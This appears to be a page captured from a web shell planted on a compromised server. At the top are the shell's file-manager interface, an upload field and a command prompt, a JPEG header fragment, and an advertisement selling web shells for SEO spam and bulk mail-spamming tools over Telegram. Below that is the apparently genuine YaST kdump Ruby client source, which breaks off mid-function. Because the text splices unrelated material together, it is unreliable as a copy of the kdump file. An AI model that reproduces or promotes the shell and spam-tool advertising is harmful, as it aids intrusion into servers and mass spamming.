xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:	clients/kdump.ycp
# Package:	Configuration of kdump
# Summary:	Main file
# Authors:	Jozef Uhliarik <juhliarik@suse.com>
#
# $Id: kdump.ycp 27914 2006-02-13 14:32:08Z locilka $
#
# Main file for kdump configuration. Uses all other files.
module Yast
  class KdumpClient < Client
    def main
      Yast.import "UI"

      #**
      # <h3>Configuration of kdump</h3>

      textdomain "kdump"

      # The main ()
      Builtins.y2milestone("----------------------------------------")
      Builtins.y2milestone("Kdump module started")

      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Summary"
      Yast.import "Popup"
      Yast.import "String"
      Yast.import "FileUtils"

      Yast.import "CommandLine"
      Yast.include self, "kdump/wizards.rb"

      Yast.include self, "kdump/uifunctions.rb"

      @cmdline_description = {
        "id"         => "kdump",
        # Command line help text for the kdump module
        "help"       => _(
          "Configuration of kdump"
        ),
        "guihandler" => fun_ref(method(:KdumpSequence), "any ()"),
        "initialize" => fun_ref(Kdump.method(:Read), "boolean ()"),
        "finish"     => fun_ref(Kdump.method(:Write), "boolean ()"),
        "actions"    => {
          "show"                    => {
            "handler" => fun_ref(method(:cmdKdumpShow), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Display settings"),
            "example" => ["show"]
          },
          "startup"                 => {
            "handler" => fun_ref(method(:cmdKdumpStartup), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Start-up settings"),
            "example" => ["startup enable alloc_mem=128,256", "startup disable"]
          },
          "dumplevel"               => {
            "handler" => fun_ref(method(:cmdKdumpDumpLevel), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Dump Level number 0-31"
            ),
            "example" => ["dumplevel dump_level=24"]
          },
          "dumpformat"              => {
            "handler" => fun_ref(method(:cmdKdumpDumpFormat), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Dump format for dump image none/ELF/compressed/lzo"
            ),
            "example" => [
              "dumpformat dump_format=none",
              "dumpformat dump_format=ELF",
              "dumpformat dump_format=compressed",
              "dumpformat dump_format=lzo"
            ]
          },
          "dumptarget"              => {
            "handler" => fun_ref(method(:cmdKdumpDumpTarget), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Dump target includes destination for saving dump images"
            ),
            "example" => [
              "dumptarget taget=file dir=/var/log/dump",
              "dumptarget taget=ftp server=name_server port=21 dir=/var/log/dump user=user_name pass=path_to_file_with_password",
              "dumptarget taget=ssh server=name_server port=22 dir=/var/log/dump user=user_name",
              "dumptarget taget=sftp server=name_server port=22 dir=/var/log/dump user=user_name",
              "dumptarget taget=nfs server=name_server dir=/var/log/dump",
              "dumptarget taget=cifs server=name_server share=share_name dir=/var/log/dump user=user_name pass=path_to_file_with_password"
            ]
          },
          "customkernel"            => {
            "handler" => fun_ref(method(:cmdKdumpCustomKernel), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The naming scheme is:/boot/vmlinu[zx]-<kernel_string>[.gz] Please enter only \"kernel_string\"."
            ),
            "example" => ["customkernel kernel=kdump"]
          },
          "kernelcommandline"       => {
            "handler" => fun_ref(
              method(:cmdKdumpKernelCommandLine),
              "boolean (map)"
            ),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The kdump commandline is the command line that needs to be passed off to the kdump kernel."
            ),
            "example" => ["kernelcommandline command=\"ro root=LABEL=/\""]
          },
          "kernelcommandlineappend" => {
            "handler" => fun_ref(
              method(:cmdKdumpKernelCommandLineAppend),
              "boolean (map)"
            ),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Set this variable if you only want to _append_ values to the default command line string."
            ),
            "example" => ["kernelcommandlineapped command=\"ro root=LABEL=/\""]
          },
          "immediatereboot"         => {
            "handler" => fun_ref(
              method(:cmdKdumpImmediateReboot),
              "boolean (map)"
            ),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Immediately reboot after saving the core in the kdump kernel."
            ),
            "example" => ["immediatereboot enable", "immediatereboot disable"]
          },
          "copykernel"              => {
            "handler" => fun_ref(method(:cmdKdumpCopyKernel), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Copy kernel into dump directory."
            ),
            "example" => ["copykernel enable", "copykernel disable"]
          },
          "keepolddumps"            => {
            "handler" => fun_ref(method(:cmdKdumpKeepOldDumps), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Specifies how many old dumps are kept. 0 means keep all."
            ),
            "example" => ["keepolddumps no=5"]
          },
          "smtpserver"              => {
            "handler" => fun_ref(method(:cmdKdumpSMTPServer), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "SMTP server for sending notification messages."
            ),
            "example" => ["smtpserver server=smtp.server.com"]
          },
          "smtpuser"                => {
            "handler" => fun_ref(method(:cmdKdumpSMTPUser), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "SMTP username for sending notification messages."
            ),
            "example" => ["smtpuser user=foo_user"]
          },
          "smtppass"                => {
            "handler" => fun_ref(method(:cmdKdumpSMTPPass), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "SMTP password for sending notification messages. Path of file which includes password (plain text file)."
            ),
            "example" => ["smtppass pass=/path/to/file"]
          },
          "notificationto"          => {
            "handler" => fun_ref(method(:cmdKdumpSMTPNotifTo), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Email address for sending notification messages"
            ),
            "example" => [
              "notificationto email=foo@bar.com",
              "notificationto email=\"foo1@bar.com foo2@bar.com\""
            ]
          },
          "notificationcc"          => {
            "handler" => fun_ref(method(:cmdKdumpSMTPNotifCC), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Email address for sending copy of notification messages"
            ),
            "example" => [
              "notificationcc email=foo@bar.com",
              "notificationcc email=\"foo1@bar.com foo2@bar.com\""
            ]
          }
        },
        "options"    => {
          "enable"      => {
            # TRANSLATORS: CommandLine help
            "help" => _("Enable option")
          },
          "disable"     => {
            # TRANSLATORS: CommandLine help
            "help" => _("Disable option")
          },
          "status"      => {
            # TRANSLATORS: CommandLine help
            "help" => _("Shows current option status")
          },
          "alloc_mem"   => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Allocate Low and High Memory (in MB) of Kdump separated by comma"
            )
          },
          "dump_level"  => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Number for dump level includes pages for saving"
            )
          },
          "dump_format" => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Dump format can be none, ELF, compressed or lzo"
            )
          },
          "target"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Dump target includes type of target from: file (local filesystem), ftp, ssh, sftp, nfs, cifs"
            )
          },
          "server"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("Name of server")
          },
          "port"        => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _("Port for connection")
          },
          "dir"         => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Directory for saving dump images"
            )
          },
          "share"       => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("Exported share")
          },
          "user"        => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("User name")
          },
          "pass"        => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Path of file which includes password (plain text file)"
            )
          },
          "raw"         => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "udev_id of raw partition"
            )
          },
          "kernel"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "The naming scheme is: /boot/vmlinu[zx]-<kernel_string>[.gz] kernel means only \"kernel_string\"."
            )
          },
          "command"     => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Include command line options."
            )
          },
          "level"       => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Option means runlevel to boot the kdump kernel. Only values such as 1,2,3,5 or s are allowed"
            )
          },
          "no"          => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Number of dumps. 0 means keep all."
            )
          },
          "email"       => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("Email address")
          }
        },
        "mappings"   => {
          "show"                    => [],
          "startup"                 => ["enable", "disable", "alloc_mem"],
          "dumplevel"               => ["dump_level"],
          "dumpformat"              => ["dump_format"],
          "dumptarget"              => [
            "target",
            "server",
            "port",
            "share",
            "dir",
            "user",
            "pass"
          ],
          "customkernel"            => ["kernel"],
          "kernelcommandline"       => ["command"],
          "kernelcommandlineappend" => ["command"],
          "immediatereboot"         => ["enable", "disable"],
          "keepolddumps"            => ["no"],
          "smtpserver"              => ["server"],
          "smtpuser"                => ["user"],
          "smtppass"                => ["pass"],
          "notificationto"          => ["email"],
          "notificationcc"          => ["email"]
        }
      }

      if Kdump.system.supports_fadump?
        @cmdline_description["actions"]["fadump"] = {
          "handler" => fun_ref(method(:cmd_handle_fadump), "boolean (map)"),
          # TRANSLATORS: CommandLine help
          "help" => _(
            "Handles usage of firmware-assisted dump"
          ),
          "example" => [
            "fadump status  # shows the current status (enabled/disabled)",
            "fadump enable  # enables using fadump",
            "fadump disable # disables using fadump",
          ],
        }

        @cmdline_description["mappings"]["fadump"] = ["enable", "disable", "status"]
      end

      # is this proposal or not?
      @propose = false
      @args = WFM.Args
      if Ops.greater_than(Builtins.size(@args), 0)
        if Ops.is_path?(WFM.Args(0)) && WFM.Args(0) == path(".propose")
          Builtins.y2milestone("Using PROPOSE mode")
          @propose = true
        end
      end

      # main ui function
      @ret = nil

      if @propose
        #ret = KdumpAutoSequence();
        Popup.Error("AutoYaST is not supported")
        @ret = :abort
      else
        @ret = CommandLine.Run(@cmdline_description)
      end
      Builtins.y2debug("ret=%1", @ret)

      # Finish
      Builtins.y2milestone("Kdump module finished")
      Builtins.y2milestone("----------------------------------------")

      deep_copy(@ret) 

      # EOF
    end

    # Command line function for display options from kdump
    #
    def cmdKdumpShow(options)
      options = deep_copy(options)
      CommandLine.Print("")
      #TRANSLATORS: CommandLine printed text
      CommandLine.Print(String.UnderlinedHeader(_("Display Settings:"), 0))
      CommandLine.Print("")
      if Kdump.crashkernel_param
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          _("Kdump is enabled (boot option \"crashkernel\" is added)")
        )
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Allocate memory (MB) for kdump is: %1"),
            Kdump.allocated_memory
          )
        )
      else
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(_("Kdump is disabled"))
      end
      CommandLine.Print("")
      #TRANSLATORS: CommandLine printed text
      CommandLine.Print(
        Builtins.sformat(
          _("Dump Level: %1"),
          Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_DUMPLEVEL")
        )
      )
      CommandLine.Print("")
      #TRANSLATORS: CommandLine printed text
      CommandLine.Print(
        Builtins.sformat(
          _("Dump Format: %1"),
          Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_DUMPFORMAT")
        )
      )
      CommandLine.Print("")

      # parsing target info
      CommandLine.Print(_("Dump Target Settings"))
      if SetUpKDUMP_SAVE_TARGET(Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_SAVEDIR"))
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("target: %1"),
            Ops.get(@KDUMP_SAVE_TARGET, "target")
          )
        )

        #local filesystem
        if Ops.get(@KDUMP_SAVE_TARGET, "target") == "file"
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("file directory: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "dir")
            )
          ) 

          #ftp target
        elsif Ops.get(@KDUMP_SAVE_TARGET, "target") == "ftp"
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("server name: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "server")
            )
          )

          if Ops.get(@KDUMP_SAVE_TARGET, "port") != ""
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(
              Builtins.sformat(
                _("port: %1"),
                Ops.get(@KDUMP_SAVE_TARGET, "port")
              )
            )
          end
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("file directory: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "dir")
            )
          )

          if Ops.get(@KDUMP_SAVE_TARGET, "user_name") == "" ||
              Ops.get(@KDUMP_SAVE_TARGET, "user_name") == "anonymous"
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(_("user name: anonymous connection is allowed"))
          else
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(
              Builtins.sformat(
                _("user name: %1"),
                Ops.get(@KDUMP_SAVE_TARGET, "user_name")
              )
            )
          end 

          #ssh/sftp connection
        elsif ["ssh", "sftp"].include?(@KDUMP_SAVE_TARGET["target"])
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("server name: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "server")
            )
          )


          if Ops.get(@KDUMP_SAVE_TARGET, "port") != ""
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(
              Builtins.sformat(
                _("port: %1"),
                Ops.get(@KDUMP_SAVE_TARGET, "port")
              )
            )
          end

          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("file directory: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "dir")
            )
          )

          if Ops.get(@KDUMP_SAVE_TARGET, "user_name") != "" &&
              Ops.get(@KDUMP_SAVE_TARGET, "user_name") != "anonymous"
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(
              Builtins.sformat(
                _("user name: %1"),
                Ops.get(@KDUMP_SAVE_TARGET, "user_name")
              )
            )
          end 

          # nfs target
        elsif Ops.get(@KDUMP_SAVE_TARGET, "target") == "nfs"
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("server name: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "server")
            )
          )
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("file directory: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "dir")
            )
          ) 

          #cifs target
        elsif Ops.get(@KDUMP_SAVE_TARGET, "target") == "cifs"
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("server name: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "server")
            )
          )
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("file directory: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "dir")
            )
          )
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(
            Builtins.sformat(
              _("share: %1"),
              Ops.get(@KDUMP_SAVE_TARGET, "share")
            )
          )

          if Ops.get(@KDUMP_SAVE_TARGET, "user_name") == "" ||
              Ops.get(@KDUMP_SAVE_TARGET, "user_name") == "anonymous"
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(_("user name: anonymous connection is allowed"))
          else
            #TRANSLATORS: CommandLine printed text
            CommandLine.Print(
              Builtins.sformat(
                _("user name: %1"),
                Ops.get(@KDUMP_SAVE_TARGET, "user_name")
              )
            )
          end
        end
      else
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(_("EMPTY"))
      end #end of if (SetUpKDUMP_SAVE_TARGET(Kdump::KDUMP_SETTINGS["KDUMP_SAVEDIR"]:nil))

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_KERNELVER") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Custom kdump kernel: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_KERNELVER")
          )
        )
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_COMMANDLINE") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Kdump command line: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_COMMANDLINE")
          )
        )
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_COMMANDLINE_APPEND") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Kdump command line append: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_COMMANDLINE_APPEND")
          )
        )
      end

      CommandLine.Print("")
      #TRANSLATORS: CommandLine printed text
      CommandLine.Print(
        Builtins.sformat(
          _("Kdump immediate reboots: %1"),
          Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_IMMEDIATE_REBOOT") == "yes" ?
            _("Enabled") :
            _("Disabled")
        )
      )

      CommandLine.Print("")

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_KEEP_OLD_DUMPS") == "0"
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          _(
            "Numbers of old dumps: All dumps are saved without deleting old dumps"
          )
        )
      else
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Numbers of old dumps: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_KEEP_OLD_DUMPS")
          )
        )
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_SERVER", "") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Kdump SMTP Server: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_SERVER")
          )
        )
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_USER", "") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Kdump SMTP User: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_USER")
          )
        )
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_PASSWORD", "") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(_("Kdump SMTP Password: ********"))
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_NOTIFICATION_TO", "") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Kdump Sending Notification To: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_NOTIFICATION_TO", "")
          )
        )
      end

      if Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_NOTIFICATION_CC", "") != ""
        CommandLine.Print("")
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(
          Builtins.sformat(
            _("Kdump Sending Copy of Notification To: %1"),
            Ops.get(Kdump.KDUMP_SETTINGS, "KDUMP_NOTIFICATION_CC", "")
          )
        )
      end

      CommandLine.Print("")

      if Kdump.system.supports_fadump?
        show_fadump_status
        CommandLine.Print("")
      end

      true
    end


    # Only numbers are allowed as allow_mem_high and allow_mem_low values
    ALLOC_MEM_REGEXP = /\A\d+\z/

    def cmdKdumpStartup(options)
      options = deep_copy(options)
      if Ops.get(options, "enable") != nil &&
          Ops.get(options, "alloc_mem") != nil
        alloc_mem_low, alloc_mem_high = options["alloc_mem"].split(',')
        unless alloc_mem_low =~ ALLOC_MEM_REGEXP &&
                (alloc_mem_high.nil? || alloc_mem_high =~ ALLOC_MEM_REGEXP)
          CommandLine.Error(_("alloc_mem parameter used with invalid values"))
          return false
        end
        Kdump.add_crashkernel_param = true
        Kdump.allocated_memory = { low: alloc_mem_low, high: alloc_mem_high }
        #TRANSLATORS: CommandLine printed text
        if Kdump.crashkernel_list_ranges
          CommandLine.Print(
            _(
              "Kernel option \"crashkernel\" includes ranges and/or redundant values.\n"\
              "It will be rewritten."
            )
          )
          # Force value to false, so it's actually rewritten
          Kdump.crashkernel_list_ranges = false
        end
        CommandLine.Print(_("To apply changes a reboot is necessary."))
        return true
      elsif Ops.get(options, "disable") != nil
        Kdump.add_crashkernel_param = false
        #TRANSLATORS: CommandLine printed text
        CommandLine.Print(_("To apply changes a reboot is necessary."))
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpDumpLevel(options)
      options = deep_copy(options)
      if Ops.get(options, "dump_level") != nil
        if Ops.less_than(Ops.get(options, "dump_level"), 32) &&
            Ops.greater_than(Ops.get(options, "dump_level"), -1)
          Ops.set(
            Kdump.KDUMP_SETTINGS,
            "KDUMP_DUMPLEVEL",
            Builtins.tostring(Ops.get(options, "dump_level"))
          )
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(_("Dump level was set."))
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value of option."))
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def cmdKdumpDumpFormat(options)
      options = deep_copy(options)
      if Ops.get(options, "dump_format") != nil
        if Ops.get(options, "dump_format") == "ELF" ||
            Ops.get(options, "dump_format") == "compressed"
          Ops.set(
            Kdump.KDUMP_SETTINGS,
            "KDUMP_DUMPFORMAT",
            Builtins.tostring(Ops.get(options, "dump_format"))
          )
          #TRANSLATORS: CommandLine printed text
          CommandLine.Print(_("Dump format was set."))
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value of option."))
          #TRANSLATORS: CommandLine printed text help
          CommandLine.Print(
            _("Option can include only \"none\", \"ELF\", \"compressed\" or \"lzo\" value.")
          )
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def cmdParsePassPath(path_file)
      password = nil
      if FileUtils.IsFile(path_file)
        password = Convert.to_string(
          SCR.Read(path(".target.string"), path_file)
        )
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(
          Builtins.sformat(_("File %1 does not exist."), path_file)
        )
      end
      password
    end


    def cmdKdumpDumpTarget(options)
      options = deep_copy(options)
      if Ops.get(options, "target") != nil
        target = Builtins.tostring(Ops.get(options, "target"))
        case target
          when "file"
            Ops.set(@KDUMP_SAVE_TARGET, "target", "file")
            if Ops.get(options, "dir") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "dir",
                Builtins.tostring(Ops.get(options, "dir"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"dir\" missing."))
              return false
            end
          when "ftp"
            Ops.set(@KDUMP_SAVE_TARGET, "target", "ftp")

            if Ops.get(options, "server") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "server",
                Builtins.tostring(Ops.get(options, "server"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"server\" missing."))
              return false
            end

            if Ops.get(options, "port") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "port",
                Builtins.tostring(Ops.get(options, "port"))
              )
            end

            if Ops.get(options, "dir") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "dir",
                Builtins.tostring(Ops.get(options, "dir"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"dir\" missing."))
              return false
            end

            if Ops.get(options, "user") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "user_name",
                Builtins.tostring(Ops.get(options, "user"))
              )
            end

            if Ops.get(options, "pass") != nil
              password = cmdParsePassPath(
                Builtins.tostring(Ops.get(options, "pass"))
              )
              return false if password == nil || password == ""
              Ops.set(@KDUMP_SAVE_TARGET, "password", password)
            end
          when "ssh", "sftp"
            @KDUMP_SAVE_TARGET["target"] = target

            if Ops.get(options, "server") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "server",
                Builtins.tostring(Ops.get(options, "server"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"server\" missing."))
              return false
            end

            if Ops.get(options, "port") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "port",
                Builtins.tostring(Ops.get(options, "port"))
              )
            end

            if Ops.get(options, "dir") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "dir",
                Builtins.tostring(Ops.get(options, "dir"))
              )
            else
              CommandLine.Error(_("Value for \"dir\" missing."))
              return false
            end

            if Ops.get(options, "user") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "user_name",
                Builtins.tostring(Ops.get(options, "user"))
              )
            end
          when "nfs"
            Ops.set(@KDUMP_SAVE_TARGET, "target", "nfs")

            if Ops.get(options, "server") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "server",
                Builtins.tostring(Ops.get(options, "server"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"server\" missing."))
              return false
            end

            if Ops.get(options, "dir") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "dir",
                Builtins.tostring(Ops.get(options, "dir"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"dir\" missing."))
              return false
            end
          when "cifs"
            Ops.set(@KDUMP_SAVE_TARGET, "target", "cifs")

            if Ops.get(options, "server") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "server",
                Builtins.tostring(Ops.get(options, "server"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"server\" missing."))
              return false
            end

            if Ops.get(options, "share") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "share",
                Builtins.tostring(Ops.get(options, "share"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"share\" missing."))
              return false
            end


            if Ops.get(options, "port") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "port",
                Builtins.tostring(Ops.get(options, "port"))
              )
            end

            if Ops.get(options, "dir") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "dir",
                Builtins.tostring(Ops.get(options, "dir"))
              )
            else
              # TRANSLATORS: CommandLine error message
              CommandLine.Error(_("Value for \"dir\" missing."))
              return false
            end

            if Ops.get(options, "user") != nil
              Ops.set(
                @KDUMP_SAVE_TARGET,
                "user_name",
                Builtins.tostring(Ops.get(options, "user"))
              )
            end

            if Ops.get(options, "pass") != nil
              password = cmdParsePassPath(
                Builtins.tostring(Ops.get(options, "pass"))
              )
              return false if password == nil || password == ""
              Ops.set(@KDUMP_SAVE_TARGET, "password", password)
            end
          else
            # TRANSLATORS: CommandLine error message
            CommandLine.Error(_("Wrong value for target."))
            return false
        end
        Ops.set(
          Kdump.KDUMP_SETTINGS,
          "KDUMP_SAVEDIR",
          tostringKDUMP_SAVE_TARGET
        )
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpCustomKernel(options)
      options = deep_copy(options)
      if Ops.get(options, "kernel") != nil
        Ops.set(
          Kdump.KDUMP_SETTINGS,
          "KDUMP_KERNELVER",
          Builtins.tostring(Ops.get(options, "kernel"))
        )
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpKernelCommandLine(options)
      options = deep_copy(options)
      if Ops.get(options, "command") != nil
        Ops.set(
          Kdump.KDUMP_SETTINGS,
          "KDUMP_COMMANDLINE",
          Builtins.tostring(Ops.get(options, "command"))
        )
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpKernelCommandLineAppend(options)
      options = deep_copy(options)
      if Ops.get(options, "command") != nil
        Ops.set(
          Kdump.KDUMP_SETTINGS,
          "KDUMP_COMMANDLINE_APPEND",
          Builtins.tostring(Ops.get(options, "command"))
        )
        return true
      else
        # TRANSLATORS: CommandLine error message
